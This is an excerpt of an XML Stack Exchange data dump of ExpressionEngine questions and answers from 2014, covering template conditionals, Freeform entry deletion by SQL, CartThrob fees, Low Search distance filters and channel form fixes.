  <row Id="25438" PostTypeId="2" ParentId="25424" CreationDate="2014-09-01T12:45:09.673" Score="0" Body="&lt;p&gt;I suggest you to take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/client-downloads&quot; rel=&quot;nofollow&quot;&gt;Client Downloads&lt;/a&gt;. They're both good and coded by trustful developers.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-09-01T12:45:09.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25439" PostTypeId="1" AcceptedAnswerId="25447" CreationDate="2014-09-01T13:21:11.320" Score="2" ViewCount="256" Body="&lt;p&gt;I have a client using Freeform (free) 4.2 that has about 30K of submissions between two forms. They have no need to save these and I'd like to clear them out or better yet set them up to do it. I see no &quot;delete all&quot; in the Freeform CP so assume my options are either duplicate the form, delete the original, and then rename the new one. Or get crafty with SQL queries at the db level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other options I'm missing, or has anyone done this and have some pointers?&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-09-01T23:47:07.957" Title="Mass Delete Submissions in Freeform" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25440" PostTypeId="2" ParentId="25397" CreationDate="2014-09-01T14:55:34.837" Score="0" Body="&lt;p&gt;This is a known bug - already fixed locally. We will be getting an update out later this week to address it.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-09-01T14:55:34.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25442" PostTypeId="1" AcceptedAnswerId="25445" CreationDate="2014-09-01T15:58:07.760" Score="0" ViewCount="111" Body="&lt;p&gt;I have a piece of code whereby I adjust the output of a file depending on it's file extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{section_1_files}&#xA;  {section_1_files:file}&#xA;    {if {extension} == 'jpg|JPG|jpeg|JPEG|png|PNG|gif|GIF'}&#xA;      &amp;lt;figure&amp;gt;&#xA;        &amp;lt;img src=&quot;{url}&quot; alt=&quot;{section_1_files:label}&quot; /&amp;gt;&#xA;      &amp;lt;/figure&amp;gt;&#xA;    {if:else}&#xA;      &amp;lt;div class=&quot;file&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{url}&quot;&amp;gt;{section_1_files:label}&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;  {/section_1_files:file}&#xA;{/section_1_files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it doesn't seem to be working properly. If I add &lt;code&gt;{extension}&lt;/code&gt; below the &lt;code&gt;{section_1_files:file}&lt;/code&gt; line then &lt;code&gt;jpg&lt;/code&gt; is displayed on the front end. The following code currently outputs this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;file&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://domain.co.uk/uploads/test-image.jpg&quot;&amp;gt;Test image&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;file&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://domain.co.uk/uploads/test-file.docx&quot;&amp;gt;Test file&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2014-09-02T03:18:23.007" Title="Conditional based on file extension" Tags="|conditionals|files|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25443" PostTypeId="1" CreationDate="2014-09-01T16:34:17.183" Score="0" ViewCount="75" Body="&lt;p&gt;I am utilizing CartThrob to collect invoice payments, since several of my clients have been requesting it. The invoices can be up to $20,000. If my clients want to pay by CC, then I want them to pay the CC charges, loosing $300 on a $10,000 invoice hurts just a little bit. So I am trying to get CartThrob to calculate the convenience fee. I have tried several things…&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Using CartThrobs shipping function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works quite well. I can set the shipping fee to be a percentage of the total fees and CartThrob automatically adds it to the total to be processed. But then in the future, if I ever need to charge shipping fees, I can't.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Using &lt;strong&gt;add_to_cart&lt;/strong&gt; function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I began to test this. First I added a product and used the &lt;strong&gt;add_to_cart&lt;/strong&gt; function to add it to the cart. But parameters from the &lt;strong&gt;add_to_cart_form&lt;/strong&gt; such as &lt;strong&gt;allow_user_price&lt;/strong&gt; and &lt;strong&gt;price&lt;/strong&gt; do not work,  they don't override the price set in the product entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was quite promising because I would use the &lt;strong&gt;delete_from_cart&lt;/strong&gt; function just before the &lt;strong&gt;add_to_cart&lt;/strong&gt; function so I could always reset the price., not in&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2016-06-18T01:44:48.780" Title="How to collect convenience fee with Cartthrob, based on total fees" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25444" PostTypeId="2" ParentId="25442" CreationDate="2014-09-01T16:35:10.500" Score="2" Body="&lt;p&gt;change   &lt;code&gt;{if {extension} == 'jpg|JPG|jpeg|JPEG|png|PNG|gif|GIF'}&lt;/code&gt; to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if section_1_files:extension== 'jpg' || section_1_files:extension=='JPG' ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3308" LastActivityDate="2014-09-01T16:35:10.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25445" PostTypeId="2" ParentId="25442" CreationDate="2014-09-01T17:24:12.307" Score="2" Body="&lt;p&gt;Just use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#contains-operator&quot; rel=&quot;nofollow&quot;&gt;Contains&lt;/a&gt; and the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#string-concatenation-operator&quot; rel=&quot;nofollow&quot;&gt;Concatenation&lt;/a&gt; operators to check if the file extension appears on the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{section_1_files}&#xA;  {section_1_files:file}&#xA;    {if &quot;|jpg|JPG|jpeg|JPEG|png|PNG|gif|GIF|&quot; *= &quot;|&quot; . extension . &quot;|&quot; }&#xA;      &amp;lt;figure&amp;gt;&#xA;        &amp;lt;img src=&quot;{url}&quot; alt=&quot;{section_1_files:label}&quot; /&amp;gt;&#xA;      &amp;lt;/figure&amp;gt;&#xA;    {if:else}&#xA;      &amp;lt;div class=&quot;file&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{url}&quot;&amp;gt;{section_1_files:label}&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;  {/section_1_files:file}&#xA;{/section_1_files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't have time now to check if the &lt;em&gt;contains operator&lt;/em&gt; is case sensitive. If you could test it, please update this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not to check for the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#string-concatenation-operator&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{mime_type}&lt;/code&gt;&lt;/a&gt; using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#begins-with-operator&quot; rel=&quot;nofollow&quot;&gt;begins operator&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{section_1_files}&#xA;  {section_1_files:file}&#xA;    {if mime_type ^= &quot;image/&quot; }&#xA;      &amp;lt;figure&amp;gt;&#xA;        &amp;lt;img src=&quot;{url}&quot; alt=&quot;{section_1_files:label}&quot; /&amp;gt;&#xA;      &amp;lt;/figure&amp;gt;&#xA;    {if:else}&#xA;      &amp;lt;div class=&quot;file&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{url}&quot;&amp;gt;{section_1_files:label}&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;  {/section_1_files:file}&#xA;{/section_1_files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-09-02T03:18:23.007" LastActivityDate="2014-09-02T03:18:23.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25447" PostTypeId="2" ParentId="25439" CreationDate="2014-09-01T23:47:07.957" Score="2" Body="&lt;p&gt;There currently isn't any way to delete all entries for a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each form has its own DB table just for entries (For performance and the allowance of many forms with many different custom fields). All other information regarding the form is stored in another table, thus a TRUNCATE query would accomplish the clearing without damaging the table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TRUNCATE TABLE exp_freeform_form_entries_FORMID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replacing FORMID with the ID of the form you want to clear out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TRUNCATE TABLE exp_freeform_form_entries_1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are uncomfortable doing manual SQL queries, there is a duplicate form button on the forms page, but unfortunately at the moment it does not copy field structure (This is on our bug list.) so you'd need to manually click each field you wanted on the duplicated form, use a dummy name, delete the first form, rename the new form, etc.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-01T23:47:07.957" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25449" PostTypeId="2" ParentId="19880" CreationDate="2014-09-02T08:09:44.933" Score="1" Body="&lt;p&gt;Only had a very very quick look at this one and admittedly being very very naughty haven't tried the code out but noticed that you have a cache set. Did you by any chance load the page when you only had the one entry and then tried again before the cache had refreshed perhaps? Just a quick thought though. &lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2014-09-02T08:09:44.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25451" PostTypeId="2" ParentId="25432" CreationDate="2014-09-02T10:03:20.787" Score="0" Body="&lt;p&gt;I did it by creating a partial (includes/cart_subtitle.html):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Calculate total without delivery --}&#xA;{exp:cartthrob:arithmetic expression=&quot;({embed:subtotal} - {embed:discount}) + {embed:tax}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the main template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/cart_subtotal&quot; discount=&quot;{exp:cartthrob:cart_discount prefix=&quot;&quot; thousands_sep=&quot;&quot;}&quot; tax=&quot;{exp:cartthrob:cart_tax prefix=&quot;&quot; thousands_sep=&quot;&quot;}&quot; subtotal=&quot;{exp:cartthrob:cart_subtotal prefix=&quot;&quot; thousands_sep=&quot;&quot;}&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bit ugly, but it works :)&lt;/p&gt;&#xA;" OwnerUserId="2848" LastActivityDate="2014-09-02T10:03:20.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25452" PostTypeId="1" CreationDate="2014-09-02T11:09:12.150" Score="0" ViewCount="38" Body="&lt;p&gt;I'm finding that that system is logging me out while editing a post very quickly. Is it possible to change the time period so that I have longer before it times out?&lt;/p&gt;&#xA;" OwnerUserId="3539" LastActivityDate="2014-09-05T14:14:27.720" Title="Timing out while editing" Tags="|system|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25453" PostTypeId="1" AcceptedAnswerId="25498" CreationDate="2014-09-02T12:54:07.540" Score="0" ViewCount="264" Body="&lt;p&gt;EE 2.8.1 Calendar 1.8.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to only display the first occurrence of each repeating event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I have a list of all events always displaying the next upcoming occurrence.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal calendar_id=&quot;{embed:calendar_id}&quot; event_limit=&quot;{embed:event_limit}&quot; date_range_start=&quot;today&quot; show_months=&quot;6&quot; pad_short_weeks=&quot;n&quot; dynamic=&quot;off&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='events/event'}/{event_id}/&quot;&amp;gt;{event_title} - Details &amp;gt;&amp;gt;&amp;lt;/a&amp;gt; {event_start_date format=&quot;%F %j, %Y&quot;} &#xA;{if event_summary}&amp;lt;br /&amp;gt;{event_summary}{/if}&#xA;{if event_location}&amp;lt;br /&amp;gt;Location: {event_location}{/if}&#xA;{if event_cost}&amp;lt;br /&amp;gt;Cost: {event_cost}{/if}&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/li&amp;gt;&#xA;          {if no_results}&#xA;          &amp;lt;li&amp;gt;No events could be found within the specified time range for this Calendar.&amp;lt;/li&amp;gt;&#xA;          {/if}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="884" LastEditDate="2014-09-04T01:00:51.703" LastActivityDate="2014-09-04T01:05:36.907" Title="solspace calendar: only display the first occurrence of each recurring event within a set timeframe" Tags="|solspace|solspace-calendar|calendar|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25455" PostTypeId="1" AcceptedAnswerId="25456" CreationDate="2014-09-02T13:18:55.793" Score="1" ViewCount="179" Body="&lt;p&gt;Is it possible to use Low Search for creating a store finder kind of search?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Channel Search in combination with Google Maps for ExpressionEngine and while it's pretty good the search system also uses a large number of categories. I'm seeing some performance problems because of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've recently used Low Search on another site to search through and filter a large number of categories and I've been really impressed by its speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I'm hoping I can do is combine Low Search with Google Maps for ExpressionEngine to get a fast search system which allows the user to search for properties within a radius of a specified location.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-02T13:52:45.810" Title="Low Search for location/proximity searches" Tags="|search|low-search|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25456" PostTypeId="2" ParentId="25455" CreationDate="2014-09-02T13:52:45.810" Score="2" Body="&lt;p&gt;Low Search's &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#distance&quot; rel=&quot;nofollow&quot;&gt;Distance filter&lt;/a&gt; requires that lat/long values are stored in &lt;strong&gt;two separate channel fields&lt;/strong&gt;. Also, you need to feed it lat/long values yourself; it won't take data like a post code as a starting location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these conditions are met, you can use the Distance filter to filter entries by distance/proximity. If not, then you'd need a custom filter or extension to allow for it.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-02T13:52:45.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25459" PostTypeId="1" CreationDate="2014-09-02T14:49:03.230" Score="0" ViewCount="98" Body="&lt;p&gt;I have tried everything I can think of, but can't get an assets field to output from a relationship.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{suggested_products}&#xA;    {suggested_products:product_images}&#xA;        {product_images:url}&#xA;    {/suggested_products:product_images}&#xA;{/suggested_products}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found a few other threads on here, but none of the suggestions worked:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10847/assets-2-field-not-working-properly-within-2-6-relationship&quot;&gt;Assets 2 field not working properly within 2.6 relationship&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.8.1 with Assets 2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone show me where I am going wrong here?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-07-21T21:47:50.007" Title="Assets within a relationship field" Tags="|assets|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25460" PostTypeId="1" AcceptedAnswerId="25466" CreationDate="2014-09-02T15:19:05.237" Score="1" ViewCount="110" Body="&lt;p&gt;I created a channel:form for creating entries and it works fine. However, when I attempt to edit the content of the entry, the edits don't take and it returns the original entry values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edits to the same entry in the Control Panel save fine, so there is something wrong with my form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the edit entry form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;facilities&quot; entry_id=&quot;{segment_3}&quot; author_id=&quot;CURRENT_USER&quot;  return=&quot;test/preview/ENTRY_ID&quot; }&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; id=&quot;facilityCounter&quot; value=&quot;1&quot; /&amp;gt;&#xA; &amp;lt;div id=&quot;facilities&quot;&amp;gt;&#xA;   &amp;lt;fieldset class=&quot;facility-info&quot;&amp;gt;&#xA;&#xA;    &amp;lt;dl&amp;gt;&#xA;    &amp;lt;dt&amp;gt;&amp;lt;label&amp;gt;Facility Name*&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd class=&quot;validate&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;{title}&quot; class=&quot;required&quot; value=&quot;{title}&quot;&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;    &amp;lt;dt&amp;gt;&amp;lt;label&amp;gt;Street address*&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd class=&quot;validate&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;{facility_street_address}&quot; class=&quot;required&quot; value=&quot;{facility_street_address}&quot;&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;city-state-zip&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th scope=&quot;col&quot;&amp;gt;City*&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th scope=&quot;col&quot;&amp;gt;State*&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th scope=&quot;col&quot;&amp;gt;Zip*&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td class=&quot;validate&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;{facility_city}&quot; class=&quot;required&quot;  value=&quot;{facility_city}&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                            &amp;lt;select name=&quot;{facility_state}&quot;&amp;gt;&#xA;                            &amp;lt;option selected value=&quot;{facility_state}&quot;&amp;gt;{facility_state}&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;AL&quot;&amp;gt;Alabama&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;AR&quot;&amp;gt;Arkansas&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;FL&quot;&amp;gt;Florida&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;GA&quot;&amp;gt;Georgia&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;KY&quot;&amp;gt;Kentucky&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;LA&quot;&amp;gt;Louisiana&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;MI&quot;&amp;gt;Mississippi&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;NC&quot;&amp;gt;North Carolina&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;SC&quot;&amp;gt;South Carolina&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;VA&quot;&amp;gt;Virginia&amp;lt;/option&amp;gt;&#xA;                     &amp;lt;/select&amp;gt;&#xA;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td class=&quot;validate&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;{facility_zip}&quot; class=&quot;zip required&quot; value=&quot;{facility_zip}&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;input type=&quot;image&quot; src=&quot;/photos/btn_submit-survey.png&quot; alt=&quot;&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end div.facility-form --&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have confirmed permission and do not receive any errors. I would appreciate any insights into why the edits are not saving.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-09-02T20:16:56.320" Title="Channel Form Edits Not &quot;Sticking&quot;" Tags="|safecracker|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25461" PostTypeId="2" ParentId="25452" CreationDate="2014-09-02T16:02:57.650" Score="1" Body="&lt;p&gt;Prior to EE 2.8 (and after 2.2 I think) there's a hidden config variable called &lt;code&gt;cp_session_ttl&lt;/code&gt; that allows you to set the time in seconds after which a cp session will expire if there has been no user activity.  I &lt;em&gt;think&lt;/em&gt; you can also set a value of &lt;code&gt;0&lt;/code&gt; to have sessions not expire (untested).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of 2.8 this is replaced by &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#expire-session-on-browser-close&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;expire_session_on_browser_close&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set config variables in your &lt;code&gt;config.php&lt;/code&gt; (which you can find at &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt; unless you've moved things around).&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2014-09-05T14:14:27.720" LastActivityDate="2014-09-05T14:14:27.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25462" PostTypeId="1" CreationDate="2014-09-02T16:49:39.097" Score="1" ViewCount="46" Body="&lt;p&gt;After filtering entries, my URL looks like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/template/tag/tag01:tag02:tag03&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering what's the best way to get a list of those tags in a &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;. I could build the functionality in PHP but I'm thinking this functionality might be built in already since it seems pretty standard and I'm just not seeing it in the docs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what I want to do is list all the tags that have been selected like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;x&lt;/code&gt; tag01&#xA;&lt;code&gt;x&lt;/code&gt; tag02&#xA;&lt;code&gt;x&lt;/code&gt; tag03&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And let the user remove whatever tags they want from the result by clicking on the &lt;code&gt;x&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointer in the right direction!&lt;/p&gt;&#xA;" OwnerUserId="1260" LastActivityDate="2016-06-13T18:09:06.153" Title="How to list currently selected tags?" Tags="|solspace-tag|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25463" PostTypeId="1" AcceptedAnswerId="25469" CreationDate="2014-09-02T17:17:40.133" Score="0" ViewCount="78" Body="&lt;p&gt;Doesn't seem to be a way to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update a subscription on the front end or &lt;/li&gt;&#xA;&lt;li&gt;Update a subscription in the CP.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in &quot;Test&quot; mode, and using EE 2.7.1.&lt;/p&gt;&#xA;" OwnerUserId="1684" LastActivityDate="2014-09-02T23:33:41.557" Title="How do I update a subscription?" Tags="|devdemon|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25464" PostTypeId="1" AcceptedAnswerId="25492" CreationDate="2014-09-02T17:32:58.757" Score="0" ViewCount="23" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5w1ZT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to work when I add the missing 'billing_at' column to the database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it was intended to be 'created_at'?&lt;/p&gt;&#xA;" OwnerUserId="1684" LastActivityDate="2014-09-03T22:44:49.443" Title="Voucher Error When Trying to Redeem" Tags="|devdemon|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25465" PostTypeId="2" ParentId="25462" CreationDate="2014-09-02T17:33:01.323" Score="0" Body="&lt;p&gt;Wile I agree that it seems intuitive that Solspace would allow output to a list, it's not in there. It's simple enough to create your own, though, and the following code should get you up and running with the outputting of the tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry_tags&quot;&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;THIS ENTRY'S TAGS:&amp;lt;/b&amp;gt;&#xA;    {exp:tag:tags entry_id=&quot;{entry_id}&quot; [tag_group_name=&quot;your_tag_group&quot;] backspace=&quot;2&quot; orderby=&quot;tag_name&quot; sort=&quot;asc&quot; }&#xA;              {if tag_count == '1'}&#xA;      &amp;lt;ul class=&quot;tag_list&quot;&amp;gt;&#xA;      {/if}&#xA;      &amp;lt;li class=&quot;tag_list_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;close_box&quot;&amp;gt;X&amp;lt;/a&amp;gt;&amp;amp;nbsp;[&amp;lt;a href=&quot;{path='your/path'}/{websafe_tag}/&quot;&amp;gt;]{tag}[&amp;lt;/a&amp;gt;]&amp;lt;/li&amp;gt;&#xA;              {if tag_count == tag_total_results}&amp;lt;/ul&amp;gt;{if:else} {/if}&#xA;    {/exp:tag:tags}&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, you will still have to create CSS to format your list inline, and you will have to code your Javascript to act when that &lt;code&gt;.close_box&lt;/code&gt; is clicked, but I'm not thinking you were asking for that code, were you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note&lt;/strong&gt;: Items in square brackets are optional.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2014-09-02T17:33:01.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25466" PostTypeId="2" ParentId="25460" CreationDate="2014-09-02T20:16:56.320" Score="1" Body="&lt;p&gt;You currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name=&quot;{facility_state}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name=&quot;facility_state&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same applies to your other fields.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-09-02T20:16:56.320" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
